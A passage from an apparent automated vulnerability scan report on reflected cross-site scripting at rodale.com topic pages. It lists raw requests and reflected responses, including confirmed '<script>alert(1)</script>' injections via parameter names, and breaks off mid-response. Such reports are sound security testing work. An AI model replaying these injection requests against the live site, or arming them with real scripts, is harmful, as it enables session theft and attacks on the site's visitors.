This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic69a9c"><a>2084252a880/health-care-reform-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:46 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:48 GMT
Date: Thu, 10 Mar 2011 17:13:48 GMT
Content-Length: 22531
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic69a9c"><a>2084252a880 topic69a9c">
...[SNIP]...

2.585. http://www.rodale.com/topic/health-care-reform-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/health-care-reform-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31d8e"><a>0db768fba77 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/health-care-reform-031d8e"><a>0db768fba77 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:21 GMT
Date: Thu, 10 Mar 2011 17:14:21 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-health-care-reform-031d8e"><a>0db768fba77 node node-958">
...[SNIP]...

2.586. http://www.rodale.com/topic/health-care-reform-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/health-care-reform-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51042"><script>alert(1)</script>03f3e821a73 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/health-care-reform-0?51042"><script>alert(1)</script>03f3e821a73=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:45 GMT
Date: Thu, 10 Mar 2011 17:13:45 GMT
Content-Length: 29693
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/health-care-reform-0?51042"><script>alert(1)</script>03f3e821a73=1" title="Register" class="moreLink">
...[SNIP]...

2.587. http://www.rodale.com/topic/health-insurance [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/health-insurance

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9b62"><a>9d275f53fd6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd9b62"><a>9d275f53fd6/health-insurance HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:42 GMT
Date: Thu, 10 Mar 2011 17:13:42 GMT
Content-Length: 22519
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd9b62"><a>9d275f53fd6 topicd9b62">
...[SNIP]...

2.588. http://www.rodale.com/topic/health-insurance [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/health-insurance

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf608"><a>d28c704ee52 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/health-insurancebf608"><a>d28c704ee52 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:15 GMT
Date: Thu, 10 Mar 2011 17:14:15 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-health-insurancebf608"><a>d28c704ee52 node node-958">
...[SNIP]...

2.589. http://www.rodale.com/topic/health-insurance [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/health-insurance

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a8a1"><script>alert(1)</script>0a088c58b32 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/health-insurance?2a8a1"><script>alert(1)</script>0a088c58b32=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:39 GMT
Date: Thu, 10 Mar 2011 17:13:39 GMT
Content-Length: 29606
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/health-insurance?2a8a1"><script>alert(1)</script>0a088c58b32=1" title="Register" class="moreLink">
...[SNIP]...

2.590. http://www.rodale.com/topic/healthy-home-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/healthy-home-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc65f"><a>efc5c594c61 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicdc65f"><a>efc5c594c61/healthy-home-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:49 GMT
Date: Thu, 10 Mar 2011 17:13:49 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicdc65f"><a>efc5c594c61 topicdc65f">
...[SNIP]...

2.591. http://www.rodale.com/topic/healthy-home-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/healthy-home-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c9dc"><a>782293618ea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/healthy-home-09c9dc"><a>782293618ea HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:28 GMT
Date: Thu, 10 Mar 2011 17:14:28 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-healthy-home-09c9dc"><a>782293618ea node node-958">
...[SNIP]...

2.592. http://www.rodale.com/topic/healthy-home-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/healthy-home-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa7c5"><script>alert(1)</script>8ef6067623c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/healthy-home-0?aa7c5"><script>alert(1)</script>8ef6067623c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:47 GMT
Date: Thu, 10 Mar 2011 17:13:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 35826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/healthy-home-0?aa7c5"><script>alert(1)</script>8ef6067623c=1" title="Register" class="moreLink">
...[SNIP]...

2.593. http://www.rodale.com/topic/healthy-monday [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/healthy-monday

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a895"><a>61073bbd9a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic7a895"><a>61073bbd9a5/healthy-monday HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:52 GMT
Date: Thu, 10 Mar 2011 17:13:52 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic7a895"><a>61073bbd9a5 topic7a895">
...[SNIP]...

2.594. http://www.rodale.com/topic/healthy-monday [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/healthy-monday

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3dc37"><a>48d25a065c8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/healthy-monday3dc37"><a>48d25a065c8 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:31 GMT
Date: Thu, 10 Mar 2011 17:14:31 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-healthy-monday3dc37"><a>48d25a065c8 node node-958">
...[SNIP]...

2.595. http://www.rodale.com/topic/healthy-monday [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/healthy-monday

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30927"><script>alert(1)</script>4ee0bbb3067 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/healthy-monday?30927"><script>alert(1)</script>4ee0bbb3067=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:46 GMT
Date: Thu, 10 Mar 2011 17:13:46 GMT
Content-Length: 29565
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/healthy-monday?30927"><script>alert(1)</script>4ee0bbb3067=1" title="Register" class="moreLink">
...[SNIP]...

2.596. http://www.rodale.com/topic/heart-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/heart-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84568"><a>af32abe1581 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic84568"><a>af32abe1581/heart-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:50 GMT
Date: Thu, 10 Mar 2011 17:13:50 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic84568"><a>af32abe1581 topic84568">
...[SNIP]...

2.597. http://www.rodale.com/topic/heart-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/heart-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d37fe"><a>b13e6ef18f6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/heart-healthd37fe"><a>b13e6ef18f6 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:24 GMT
Date: Thu, 10 Mar 2011 17:14:25 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-heart-healthd37fe"><a>b13e6ef18f6 node node-958">
...[SNIP]...

2.598. http://www.rodale.com/topic/heart-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/heart-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e2ad"><script>alert(1)</script>22f0c7cb5ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/heart-health?7e2ad"><script>alert(1)</script>22f0c7cb5ed=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:43:47 GMT
Date: Thu, 10 Mar 2011 17:13:48 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33774

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/heart-health?7e2ad"><script>alert(1)</script>22f0c7cb5ed=1" title="Register" class="moreLink">
...[SNIP]...

2.599. http://www.rodale.com/topic/herbs [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/herbs

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 310fb"><a>9ad5cf01bf9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic310fb"><a>9ad5cf01bf9/herbs HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:49 GMT
Date: Thu, 10 Mar 2011 17:13:49 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic310fb"><a>9ad5cf01bf9 topic310fb">
...[SNIP]...

2.600. http://www.rodale.com/topic/herbs [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/herbs

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73425"><a>1959e8ec5d1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/herbs73425"><a>1959e8ec5d1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:23 GMT
Date: Thu, 10 Mar 2011 17:14:23 GMT
Content-Length: 22465
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-herbs73425"><a>1959e8ec5d1 node node-958">
...[SNIP]...

2.601. http://www.rodale.com/topic/herbs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/herbs

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 445e2"><script>alert(1)</script>157699cafc7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/herbs?445e2"><script>alert(1)</script>157699cafc7=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:43:46 GMT
Date: Thu, 10 Mar 2011 17:13:47 GMT
Content-Length: 32393
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
